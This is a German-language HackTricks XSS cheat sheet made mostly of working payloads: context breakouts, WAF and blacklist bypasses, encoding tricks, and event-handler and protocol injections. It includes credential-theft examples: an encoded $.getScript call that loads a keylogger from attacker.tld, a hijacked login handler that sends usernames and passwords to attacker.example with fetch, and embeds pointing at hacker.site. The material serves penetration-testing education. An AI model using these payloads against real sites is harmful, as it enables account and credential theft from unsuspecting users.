XSS (Cross Site Scripting)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Methodik

  1. Überprüfe, ob ein von dir kontrollierter Wert (parameters, path, headers?, cookies?) im HTML reflektiert oder von JS-Code verwendet wird.
  2. Finde den Kontext, in dem er reflektiert/benutzt wird.
  3. Wenn reflektiert
  4. Prüfe welche Zeichen du verwenden kannst und bereite basierend darauf das Payload vor:
  5. In raw HTML:
  6. Kannst du neue HTML-Tags erstellen?
  7. Kannst du Events oder Attribute verwenden, die das javascript:-Protokoll unterstützen?
  8. Kannst du Schutzmechanismen umgehen?
  9. Wird der HTML-Inhalt von einer clientseitigen JS-Engine interpretiert (AngularJS, VueJS, Mavo…)? Dann könntest du eine Client Side Template Injection ausnutzen.
  10. Wenn du keine HTML-Tags erstellen kannst, die JS ausführen, könntest du eine Dangling Markup - HTML scriptless injection missbrauchen?
  11. Innerhalb eines HTML-Tags:
  12. Kannst du in den raw-HTML-Kontext entkommen?
  13. Kannst du neue Events/Attribute erstellen, um JS-Code auszuführen?
  14. Unterstützt das Attribut, in dem du gefangen bist, die Ausführung von JS?
  15. Kannst du Schutzmechanismen umgehen?
  16. Innerhalb von JavaScript code:
  17. Kannst du das <script>-Tag escapen?
  18. Kannst du den String escapen und anderen JS-Code ausführen?
  19. Sind deine Eingaben in template literals ``?
  20. Kannst du Schutzmechanismen umgehen?
  21. JavaScript function, die ausgeführt wird
  22. Du kannst den Namen der Funktion angeben, die ausgeführt werden soll. z.B.: ?callback=alert(1)
  23. Wenn verwendet:
  24. Du könntest eine DOM XSS ausnutzen; achte darauf, wie dein Input kontrolliert wird und ob dein kontrollierter Input von einem Sink verwendet wird.

Bei der Arbeit an einer komplexen XSS kann es interessant sein, folgendes zu kennen:

Debugging Client Side JS

Reflektierte Werte

Um eine XSS erfolgreich auszunutzen, ist das Erste, was du finden musst, einen von dir kontrollierten Wert, der in die Webseite reflektiert wird.

  • Zwischenzeitlich reflektiert: Wenn du feststellst, dass der Wert eines Parameters oder sogar des Pfads in der Webseite reflektiert wird, könntest du eine Reflected XSS ausnutzen.
  • Gespeichert und reflektiert: Wenn ein von dir kontrollierter Wert auf dem Server gespeichert wird und bei jedem Aufruf einer Seite reflektiert wird, könntest du eine Stored XSS ausnutzen.
  • Über JS zugänglich: Wenn ein von dir kontrollierter Wert per JS verwendet wird, könntest du eine DOM XSS ausnutzen.

Kontexte

Wenn du versuchst, eine XSS auszunutzen, ist das Erste, was du wissen musst, wo dein Input reflektiert wird. Abhängig vom Kontext kannst du auf unterschiedliche Weise beliebigen JS-Code ausführen.

Raw HTML

Wenn dein Input im raw HTML reflektiert wird, musst du ein HTML-Tag missbrauchen, um JS-Code auszuführen: <img , <iframe , <svg , <script … das sind nur einige der vielen möglichen HTML-Tags, die du verwenden könntest.
Beachte auch Client Side Template Injection.

Inside HTML tags attribute

Wenn dein Input im Wert eines Attributs eines Tags reflektiert wird, könntest du folgendes versuchen:

  1. Aus dem Attribut und aus dem Tag ausbrechen (dann bist du im raw HTML) und ein neues HTML-Tag erstellen, das du missbrauchst: "><img [...]
  2. Wenn du aus dem Attribut, aber nicht aus dem Tag ausbrechen kannst (> ist encoded oder gelöscht), könntest du je nach Tag ein Event erstellen, das JS-Code ausführt: " autofocus onfocus=alert(1) x="
  3. Wenn du nicht aus dem Attribut ausbrechen kannst (" wird encoded oder gelöscht), dann hängt es von welchem Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst, was du missbrauchen kannst. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du beliebigen Code ausführen, wenn darauf geklickt wird. Ein weiteres interessantes Beispiel ist das Attribut href, in dem du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"
  4. Wenn dein Input innerhalb “nicht ausnutzbarer Tags” reflektiert wird, könntest du den accesskey-Trick versuchen, um die vuln zu missbrauchen (du benötigst etwas Social Engineering, um das auszunutzen): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

Eine Unternehmens-SSO-Login-Seite reflektierte den OAuth-service-Parameter innerhalb des href-Attributs von <a id="forgot_btn" ...>. Obwohl < und > HTML-codiert waren, waren doppelte Anführungszeichen nicht codiert, sodass der Angreifer das Attribut schließen und denselben Anchor wiederverwenden konnte, um Handler wie " onfocus="payload" x=" zu injecten.

  1. Den Handler injecten: Einfache Payloads wie onclick="print(1)" wurden blockiert, aber der WAF inspizierte nur die erste JavaScript-Anweisung in Inline-Attributen. Das Voranstellen eines harmlosen Ausdrucks in Klammern, gefolgt von einem Semikolon, erlaubte der eigentlichen Nutzlast auszuführen: onfocus="(history.length);malicious_code_here".
  2. Automatisch auslösen: Browser focussen jedes Element, dessen id mit dem Fragment übereinstimmt, daher erzwingt das Anhängen von #forgot_btn an die Exploit-URL, dass der Anchor beim Laden der Seite gefocust wird und der Handler ohne Klick ausgeführt wird.
  3. Das Inline-Stub klein halten: Das Ziel verwendete bereits jQuery. Der Handler musste nur einen Request via $.getScript(...) bootstrapen, während der vollständige Keylogger auf dem Server des Angreifers lag.

Building strings without quotes

Single quotes wurden URL-codiert zurückgegeben und escapte doppelte Anführungszeichen beschädigten das Attribut, daher generierte das Payload jeden String mit String.fromCharCode. Eine Hilfsfunktion macht es einfach, jede URL in Char-Codes zu konvertieren, bevor man sie in das Attribut einfügt:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Ein resultierendes Attribut sah folgendermaßen aus:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Warum dies Anmeldeinformationen stiehlt

Das externe Script (von einem vom Angreifer kontrollierten Host oder Burp Collaborator geladen) hookte document.onkeypress, pufferte Tastenanschläge und setzte jede Sekunde new Image().src = collaborator_url + keys ab. Da das XSS nur für nicht-authentifizierte Benutzer ausgelöst wird, ist die sensible Aktion das Login-Formular selbst — der Angreifer keylogs Benutzernamen und Passwörter, selbst wenn das Opfer nie auf “Login” klickt.

Merkwürdiges Beispiel, wie Angular XSS ausführt, wenn du einen Klassennamen kontrollierst:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Im JavaScript-Code

In diesem Fall wird deine Eingabe zwischen den <script> [...] </script>-Tags einer HTML-Seite, in einer .js-Datei oder in einem Attribut mit dem javascript:-Protokoll reflektiert:

  • Wenn die Reflektion zwischen <script> [...] </script>-Tags stattfindet, kannst du, selbst wenn deine Eingabe in irgendeiner Art von Anführungszeichen steht, versuchen </script> zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der Browser zuerst die HTML-Tags parsen und danach den Inhalt; deshalb merkt er nicht, dass dein injiziertes </script>-Tag im HTML-Code steht.
  • Wenn die Reflektion inside a JS string erfolgt und der letzte Trick nicht funktioniert, musst du die Zeichenkette verlassen, deinen Code ausführen und den JS-Code wiederaufbauen (wenn ein Fehler auftritt, wird er nicht ausgeführt:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Wenn die Reflektion inside template literals erfolgt, kannst du mithilfe der ${ ... }-Syntax embed JS expressions: var greetings = `Hello, ${alert(1)}`
  • Unicode encode funktioniert, um valid javascript code zu schreiben:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting bezeichnet die Möglichkeit, Funktionen, Variablen oder Klassen erst nach ihrer Verwendung zu deklarieren, sodass du Szenarien ausnutzen kannst, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.
Weitere Informationen findest du auf der folgenden Seite:

JS Hoisting

Javascript Function

Mehrere Webseiten haben Endpunkte, die als Parameter den Namen der auszuführenden Funktion akzeptieren. Ein typisches Beispiel in freier Wildbahn ist so etwas wie: ?callback=callbackFunc.

Eine gute Methode herauszufinden, ob etwas, das direkt vom Nutzer kommt, ausgeführt werden soll, ist den Parameterwert zu ändern (zum Beispiel zu ‘Vulnerable’) und in der Konsole nach Fehlern wie diesen zu suchen:

Falls es verwundbar ist, könntest du in der Lage sein, ein alert auszulösen, indem du einfach den Wert sendest: ?callback=alert(1). Es ist jedoch sehr häufig, dass diese Endpunkte den Inhalt validieren, sodass nur Buchstaben, Zahlen, Punkte und Unterstriche erlaubt sind ([\w\._]).

Trotz dieser Einschränkung ist es weiterhin möglich, einige Aktionen durchzuführen. Das liegt daran, dass du mit diesen erlaubten Zeichen auf jedes Element im DOM zugreifen kannst:

Einige nützliche Funktionen dafür:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Du kannst auch versuchen, Javascript-Funktionen direkt auszulösen: obj.sales.delOrders.

Allerdings sind die Endpunkte, die die angegebene Funktion ausführen, meist Endpunkte ohne viel interessanten DOM. Andere Seiten in derselben Origin haben einen interessanteren DOM, um mehr Aktionen durchzuführen.

Deshalb wurde zur Ausnutzung dieser Schwachstelle in einem anderen DOM die Same Origin Method Execution (SOME) Exploitation entwickelt:

SOME - Same Origin Method Execution

DOM

Es gibt JS-Code, der unsicher Daten verwendet, die von einem Angreifer kontrolliert werden, wie location.href. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.

DOM XSS

Universal XSS

Diese Art von XSS kann überall gefunden werden. Sie hängen nicht nur von der Client-seitigen Ausnutzung einer Webanwendung ab, sondern von jedem Kontext. Diese Art der beliebigen JavaScript-Ausführung kann sogar dazu missbraucht werden, RCE zu erlangen, beliebige Dateien auf Clients und Servern zu lesen, und mehr.
Einige Beispiele:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injizieren in rohes HTML

Wenn deine Eingabe innerhalb der HTML-Seite reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das erste, was du tun musst, zu prüfen, ob du < missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, dieses Zeichen zu reflektieren und prüfe, ob es HTML-encodiert oder gelöscht wird oder ob es unverändert reflektiert wird. Nur im letzten Fall wirst du diesen Fall ausnutzen können.
Für diese Fälle beachte auch Client Side Template Injection.
Hinweis: Ein HTML-Kommentar kann mit --> oder --!> geschlossen werden

In diesem Fall und wenn keine Black-/Whitelist verwendet wird, könntest du Payloads wie:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Wenn jedoch tags/attributes black/whitelisting verwendet wird, müssen Sie brute-force herausfinden, welche tags Sie erstellen können.
Sobald Sie lokalisiert haben, welche tags erlaubt sind, müssen Sie brute-force attributes/events innerhalb der gefundenen gültigen tags ausprobieren, um zu sehen, wie Sie den Kontext angreifen können.

Tags/Events brute-force

Gehen Sie zu https://portswigger.net/web-security/cross-site-scripting/cheat-sheet und klicken Sie auf Copy tags to clipboard. Senden Sie dann alle mit Burp intruder und prüfen Sie, ob irgendwelche tags nicht vom WAF als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche tags Sie verwenden können, können Sie brute force all the events mit den gültigen tags ausprobieren (klicken Sie auf derselben Webseite auf Copy events to clipboard und folgen Sie dem gleichen Verfahren wie zuvor).

Custom tags

Wenn Sie kein gültiges HTML tag gefunden haben, können Sie versuchen, ein custom tag zu erstellen und JS code mit dem onfocus-Attribut auszuführen. In der XSS-Anfrage müssen Sie die URL mit # beenden, damit die Seite den Fokus auf dieses Objekt setzt und den Code ausführt:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Wenn irgendeine Art von blacklist verwendet wird, kannst du versuchen, sie mit ein paar einfachen Tricks zu bypassen:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Mehr tiny XSS payloads für verschiedene Umgebungen sind hier zu finden und hier.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Der letzte verwendet 2 Unicode-Zeichen, die sich zu 5 erweitern: telsr\
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

Wenn du, um die Schwachstelle auszunutzen, den Benutzer dazu bringen musst, auf einen Link oder ein Formular mit vorausgefüllten Daten zu klicken, könntest du versuchen, abuse Clickjacking (falls die Seite verwundbar ist).

Impossible - Dangling Markup

Wenn du denkst, dass es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, um JS-Code auszuführen, solltest du Danglig Markup prüfen, weil du die Schwachstelle ohne Ausführung von JS-Code ausnutzen könntest.

In ein HTML-Tag injizieren

Innerhalb des Tags / Aus dem Attributwert entkommen

Wenn du dich innerhalb eines HTML-Tags befindest, ist das Erste, was du versuchen könntest, aus dem Tag zu entkommen und einige der in der previous section genannten Techniken zu verwenden, um JS-Code auszuführen.
Wenn du nicht aus dem Tag entkommen kannst, könntest du neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem payload wie (beachte, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu escapen; du wirst sie nicht benötigen, wenn deine Eingabe direkt innerhalb des Tags reflektiert wird):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Style-Ereignisse

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Innerhalb des Attributs

Selbst wenn du nicht aus dem Attribut entkommen kannst (" wird kodiert oder gelöscht), abhängig davon, in welchem Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst, kannst du es ausnutzen. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du es so ausführen lassen, dass es beim Klicken beliebigen Code ausführt.
Ein weiteres interessantes Beispiel ist das Attribut href, wo du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"

Bypass innerhalb eines Events mittels HTML-Encoding/URL-Encoding

Die HTML-codierten Zeichen innerhalb des Wertes von HTML-Tag-Attributen werden zur Laufzeit decodiert. Daher ist etwas wie das Folgende gültig (die Payload ist in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Beachte, dass jede Art von HTML-Encoding gültig ist:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Beachte, dass URL encode ebenfalls funktioniert:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass innerhalb eines Events mit Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Spezielle Protokolle innerhalb des Attributs

Dort kannst du die Protokolle javascript: oder data: an einigen Stellen verwenden, um beliebigen JS-Code auszuführen. Manche erfordern Benutzerinteraktion, andere nicht.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Stellen, an denen man diese Protokolle injizieren kann

Im Allgemeinen kann das javascript:-Protokoll in jedem Tag, der das Attribut href akzeptiert und in den meisten Tags, die das Attribut src akzeptieren (aber nicht <img>)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Weitere Obfuskationstricks

In diesem Fall sind der HTML encoding- und der Unicode encoding-Trick aus dem vorherigen Abschnitt ebenfalls gültig, da du dich innerhalb eines Attributs befindest.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Außerdem gibt es einen weiteren nice trick für diese Fälle: Selbst wenn deine input innerhalb von javascript:... URL encoded ist, wird sie vor der Ausführung URL decoded. Wenn du also aus dem string mit einem single quote escape musst und siehst, dass it’s being URL encoded, denk daran, dass es keine Rolle spielt, es wird während der execution Zeit als single quote interpreted.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Beachte, dass wenn du versuchst, beide URLencode + HTMLencode in beliebiger Reihenfolge anzuwenden, um die payload zu encodieren, es wird nicht funktionieren, aber du kannst sie innerhalb der payload mischen.

Hex- und Octal-Encode mit javascript: verwenden

Du kannst Hex und Octal encode innerhalb des src-Attributs eines iframe (zumindest) verwenden, um HTML tags to execute JS zu deklarieren:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Wenn du jede URL in einen beliebigen <a href=-Tag injizieren kannst, der die Attribute target="_blank" and rel="opener" enthält, sieh dir die folgende Seite an, um dieses Verhalten auszunutzen:

Reverse Tab Nabbing

on Event Handlers Bypass

Sieh dir zuerst diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) für nützliche “on” event handlers an.
Falls eine blacklist das Erstellen dieser event handlers verhindert, kannst du die folgenden bypasses versuchen:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Aus here ist es jetzt möglich, hidden inputs mit folgenden Methoden zu missbrauchen:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Und in Meta-Tags:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Von hier: Du kannst ein XSS payload inside a hidden attribute ausführen, vorausgesetzt, du kannst das Opfer überzeugen, die Tastenkombination zu drücken. Unter Firefox auf Windows/Linux ist die Tastenkombination ALT+SHIFT+X und auf OS X CTRL+ALT+X. Du kannst eine andere Tastenkombination angeben, indem du im access key attribute eine andere Taste angibst. Hier ist der Vektor:

<input type="hidden" accesskey="X" onclick="alert(1)">

Die XSS payload wird etwa so aussehen: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Mehrere Tricks mit verschiedenen encoding wurden bereits in diesem Abschnitt gezeigt. Gehen Sie zurück, um zu lernen, wo Sie verwenden können:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Lesen Sie die Blacklist Bypasses des vorherigen Abschnitts.

Bypasses for JavaScript code

Lesen Sie die JavaScript bypass blacklist des folgenden Abschnitts.

CSS-Gadgets

Wenn Sie eine XSS in einem sehr kleinen Bereich der Website gefunden haben, die eine Art Interaktion erfordert (vielleicht ein kleiner Link im footer mit einem onmouseover-Element), können Sie versuchen, den Platz, den dieses Element einnimmt, zu verändern, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.

Zum Beispiel könnten Sie dem Element Styling hinzufügen wie: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Wenn jedoch der WAF das style-Attribut filtert, können Sie CSS Styling Gadgets verwenden, also wenn Sie zum Beispiel finden

.test {display:block; color: blue; width: 100%}

und

#someid {top: 0; font-family: Tahoma;}

Nun können Sie unseren Link ändern und in die Form bringen

<a href=“” id=someid class=test onclick=alert() a=“”>

Dieser Trick wurde entnommen von https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

In diesem Fall wird Ihre Eingabe innerhalb des JS-Codes eines .js-Files oder zwischen <script>...</script>-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder in Attributen, die das javascript:-Protokoll akzeptieren, reflektiert.

Escaping <script> tag

Wenn Ihr Code innerhalb von <script> [...] var input = 'reflected data' [...] </script> eingefügt wird, könnten Sie leicht das Schließen des <script>-Tags escapen:

</script><img src=1 onerror=alert(document.domain)>

Beachte, dass wir in diesem Beispiel nicht einmal das einfache Anführungszeichen geschlossen haben. Das liegt daran, dass HTML-Parsing zuerst vom Browser durchgeführt wird, wobei Seiten-Elemente identifiziert werden, einschließlich Script-Blöcken. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.

Innerhalb von JS-Code

Wenn <> bereinigt werden, kannst du trotzdem die Zeichenkette escapen dort, wo deine Eingabe platziert ist, und beliebiges JS ausführen. Es ist wichtig, die JS-Syntax zu fixen, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Wenn Benutzereingaben innerhalb eines in Anführungszeichen stehenden JavaScript-Strings landen (z. B. server-side echo into an inline script), kannst du den String beenden, inject code und die Syntax reparieren, sodass das Parsen gültig bleibt. Generisches Skelett:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Beispiel für ein URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird:

?param=test";<INJECTION>;a="

Dies führt attacker JS aus, ohne den HTML-Kontext berühren zu müssen (reines JS-in-JS). Mit den blacklist bypasses unten kombinieren, wenn filters Keywords blockieren.

Template literals ``

Um Strings zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch backticks ``. Das ist als template literals bekannt, da sie erlauben, embedded JS expressions mit der ${ ... }-Syntax einzubetten.
Daher, wenn du feststellst, dass deine Eingabe innerhalb eines JS-Strings reflektiert wird, der Backticks verwendet, kannst du die Syntax ${ ... } ausnutzen, um arbitrary JS code auszuführen:

Das kann ausgenutzt werden mit:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Kodierte Ausführung von Code

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Auslieferbare Payloads mit eval(atob()) und Nuancen des Gültigkeitsbereichs

Um URLs kürzer zu halten und naive Keyword-Filter zu umgehen, kannst du deine eigentliche Logik base64-kodieren und mit eval(atob('...')) auswerten. Wenn einfache Keyword-Filter Identifier wie alert, eval oder atob blockieren, verwende Unicode-escaped Identifier, die im Browser identisch kompiliert werden, aber string-matching-Filter umgehen:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Wichtiger Scoping-Hinweis: const/let, die innerhalb von eval() deklariert werden, sind block-scoped und erzeugen KEINE globals; sie sind für spätere scripts nicht zugänglich. Verwende ein dynamisch injiziertes <script>-Element, um globale, nicht erneut zuweisbare Hooks zu definieren, wenn nötig (z. B., um einen form handler zu hijacken):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referenz: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode-kodierte JS-Ausführung

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists Techniken

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Spezielle Escapes

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Leerzeichenersetzungen innerhalb von JS-Code

<TAB>
/**/

JavaScript comments (aus JavaScript Comments Trick)

//This is a 1 line comment
